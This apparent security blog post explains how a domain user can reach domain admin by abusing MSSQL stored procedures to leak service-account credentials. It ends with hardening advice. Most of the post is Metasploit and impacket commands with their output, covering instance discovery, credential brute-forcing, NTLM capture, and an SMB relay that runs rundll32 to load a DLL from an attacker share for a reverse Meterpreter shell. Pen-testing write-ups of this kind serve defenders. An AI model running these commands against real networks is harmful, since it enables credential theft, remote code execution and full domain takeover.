Skip to content

MSSQL : You get admin! You get admin! EVERYONE GETS ADMIN!

TLDR: Domain Users permitted to authenticate to Microsoft SQL databases can use the limited privileges they are granted to run a stored procedure. The stored procedure can be used to send the database service credentials over the network. When the database service is configured with privileges, these can be cracked offline or relayed in order to escalate privileges. I have exploited this multiple times to escalate from domain user to domain administrator!

Finding MSSQL Server Instances

There are multiple methods to identify Microsoft SQL (MSSQL) Server Instances.

DNS

Including Domain Name Service (DNS) service records (SRV):

nslookup -type=SRV _sql._tcp.contoso.com

SPNs

Kerberos Service Principal Names (SPN):

ldapsearch -h dc1.contoso.com -b "DC=contoso,DC=com" -D "myuser@contoso.com" -W "servicePrincipalName=MSSQLSvc/*" "servicePrincipalName" | grep MSSQLSvc

Port Scanning

Or of course port scanning, however you should note that just scanning for the default ports (TCP 1433 and 2433) you will miss a lot of instances running on random ports. Instead you may wish to perform a UDP scan for port 1434 which presents the SQL Browser Service.

MSSQL Ping

This is my preferred method at the moment.

A number of utilities exist which can scan a network and interact with the MSSQL Browser Service in order to identify the TCP ports the MSSQL instances are running on.

However the tool I prefer is the metasploit auxiliary module mssql_ping, using the metasploit database.

msf > use auxiliary/scanner/mssql/mssql_ping

msf auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.0.0.0/22
 rhosts => 10.0.0.0/22
 msf auxiliary(scanner/mssql/mssql_ping) > workspace -a test
 [*] Added workspace: test
 msf auxiliary(scanner/mssql/mssql_ping) > show options

Module options (auxiliary/scanner/mssql/mssql_ping):

Name Current Setting Required Description
 ---- --------------- -------- -----------
 PASSWORD no The password for the specified username
 RHOSTS 10.0.0.0/22 yes The target address range or CIDR identifier
 TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
 THREADS 1 yes The number of concurrent threads
 USERNAME sa no The username to authenticate as
 USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)

msf auxiliary(scanner/mssql/mssql_ping) > set threads 20
 threads => 20
 msf auxiliary(scanner/mssql/mssql_ping) > run
 [*] 10.0.3.7: - SQL Server information for 10.0.3.7:
 [+] 10.0.3.7: - ServerName = TESTDMZ
 [+] 10.0.3.7: - InstanceName = MSSQLSERVER
 [+] 10.0.3.7: - IsClustered = No
 [+] 10.0.3.7: - Version = 9.00.5000.00
 [+] 10.0.3.7: - tcp = 5693
 [*] Scanned 1024 of 1024 hosts (100% complete)
 [*] Auxiliary module execution completed

Login to MSSQL

There are multiple utilities to bruteforce MSSQL, however I use Metasploit’s mssql_login module. One thing to note when using this module with Windows authentication is that the domain parameter is required but not shown in the normal options output.

Since MSSQL server instances may be on inconsistent ports across hosts, I use a modified version of mssql_brute.rc – a Metasploit resource script.

msf auxiliary(scanner/mssql/mssql_ping) > use auxiliary/scanner/mssql/mssql_login
 msf auxiliary(scanner/mssql/mssql_login) > show options

Module options (auxiliary/scanner/mssql/mssql_login):

Name Current Setting Required Description
 ---- --------------- -------- -----------
 BLANK_PASSWORDS false no Try blank passwords for all users
 BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
 DB_ALL_CREDS false no Try each user/password couple stored in the current database
 DB_ALL_PASS false no Add all passwords in the current database to the list
 DB_ALL_USERS false no Add all users in the current database to the list
 PASSWORD no A specific password to authenticate with
 PASS_FILE no File containing passwords, one per line
 RHOSTS yes The target address range or CIDR identifier
 RPORT 5693 yes The target port (TCP)
 STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
 TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
 THREADS 1 yes The number of concurrent threads
 USERNAME no A specific username to authenticate as
 USERPASS_FILE no File containing users and passwords separated by space, one pair per line
 USER_AS_PASS false no Try the username as the password for all users
 USER_FILE no File containing usernames, one per line
 USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
 VERBOSE true yes Whether to print output for all attempts

msf auxiliary(scanner/mssql/mssql_login) > set domain CONTOSO
 domain => CONTOSO
msf auxiliary(scanner/mssql/mssql_login) > set use_windows_authent true
 use_windows_authent => true
 msf auxiliary(scanner/mssql/mssql_login) > set username MyUser
 username => MyUser
 msf auxiliary(scanner/mssql/mssql_login) > set password MyPassword
 password => MyPassword

msf auxiliary(scanner/mssql/mssql_login) > resource mssql_brute.rc [*] Processing /opt/metasploit-framework/embedded/framework/scripts/resource/mssql_brute.rc for ERB directives.
 [*] resource (/opt/metasploit-framework/embedded/framework/scripts/resource/mssql_domain_login.rc)> Ruby Code (1048 bytes)
 RHOSTS => 10.0.3.7
 RPORT => 5693
 BRUTEFORCE_SPEED => 5
 BLANK_PASSWORDS => false
 USER_AS_PASS => false
 [*] 10.0.3.7:5693 - 10.0.3.7:5693 - MSSQL - Starting authentication scanner.
 [-] 10.0.3.7:5693 - 10.0.3.7:5693 - LOGIN SUCCESS: CONTOSO\MyUser:MyPassword (Correct: )
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed

Executing Extended Stored Procedures

There are a number of useful extended stored procedures within MSSQL Server which can be useful to an attacker. Although some like xp_cmdshell require elevated permissions within the database, others such a xp_dirtree and xp_fileexists can be executed with the guest permissions often granted to the domain users group.

xp_dirtree and xp_fileexist

These two stored procedures can be invoked with a UNC path in order to cause the database service to connect to the attacker’s machine over SMB.

Privileges of the Database Service

Even though we have connected to the database using domain credentials, the stored procedure is executed under the context of the account the database service is running as.

The MSSQL service can be configured to run as the local system account (a terrible idea, as escalating privileges within the database also compromises the server), a local service account, a local account, a domain account, or as a domain managed service account.

The misconfiguration I regularly see is for the database service to be running as a domain account with significant privileges – local administrator within the server estate, or even domain administrator!

Exploitation

There are two methods of exploiting this series of misconfigurations.

Capturing the Hash

First you can simply capture the hash and subject this to an offline bruteforce attack. This relies on the account being configured with a significantly weak password.

Multiple tools can be used to perform this attack such as Responder, or the Metasploit SMB Capture module.

I am not going to go into detail in this area as it is extensively covered elsewhere (for example HollyGraceful’s post).

SMB Relay

As always there are various tools to accomplish this as this technique has been around a long time.

I use the smbrelayx.py from the impacket library to relay the authentication to a host with SMB signing disabled, and use rundll32 to load a malicious DLL from a network share which establishes a reverse meterpreter shell.

In order to do this, you need to have 2 IP addresses as both smbrelayx.py and the network share both require the same port. This can be accomplished with the following command, assuming eth0 is your network interface.

ifconfig eth0:0 10.0.0.2 netmask 255.255.255.0

We can then create and host the payload using the generic_dll_injection metasploit module by @_castleinthesky

msf auxiliary(scanner/mssql/mssql_login) > use exploit/windows/smb/generic_smb_dll_injection

msf exploit(windows/smb/generic_smb_dll_injection) > set file_name exploit.dll
 file_name => exploit.dll
 msf exploit(windows/smb/generic_smb_dll_injection) > set share share
 share => share
 msf exploit(windows/smb/generic_smb_dll_injection) > set srvhost 10.0.0.2 srvhost => 10.0.0.2
 msf exploit(windows/smb/generic_smb_dll_injection) > set payload windows/x64/meterpreter/reverse_https
 payload => windows/x64/meterpreter/reverse_https

msf exploit(windows/smb/generic_smb_dll_injection) > set lhost 10.0.0.2
 lhost => 10.0.0.2
 msf exploit(windows/smb/generic_smb_dll_injection) > run
 [*] Exploit running as background job 0.

With our payload ready we can run smbrelayx.py pointing to a host with smb signing disabled (by default, all Windows hosts except domain controllers)

sudo smbrelayx.py -h targethost -c 'rundll32 \\10.0.0.2\share\exploit.dll,1'

We can then use the xp_dirtree and xp_fileexist stored procedures, to do this I use the Metasploit module mssql_ntlm_stealer:

msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set rport 5693
 rport => 5693
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set rhosts 10.0.0.7
 rhosts => 10.0.0.7
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set username myuser
username => myuser
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set password MyPassword
 password => MyPassword
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set domain CONTOSO
 domain => CONTOSO
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set use_windows_authent true
 use_windows_authent => true
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > run

When the database service is running with administrative permissions, this can result in complete compromise of the domain.

Meterpreter Session 1 Opened

Defense

There are a series of insecure configurations at play here, I would recommend addressing them all to harden your environment. However most significantly, follow the principle of least privilege (1 and 2).

  1. Reconfigure the database to prevent authentication by all domain users. Ensure that only those who require access can authenticate to the database.
  2. Reconfigure the database service to run with minimum privileges, never as local system or an administrative account.
  3. Enable SMB signing, to prevent SMB Relay attacks.
Published inTools and Techniques

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *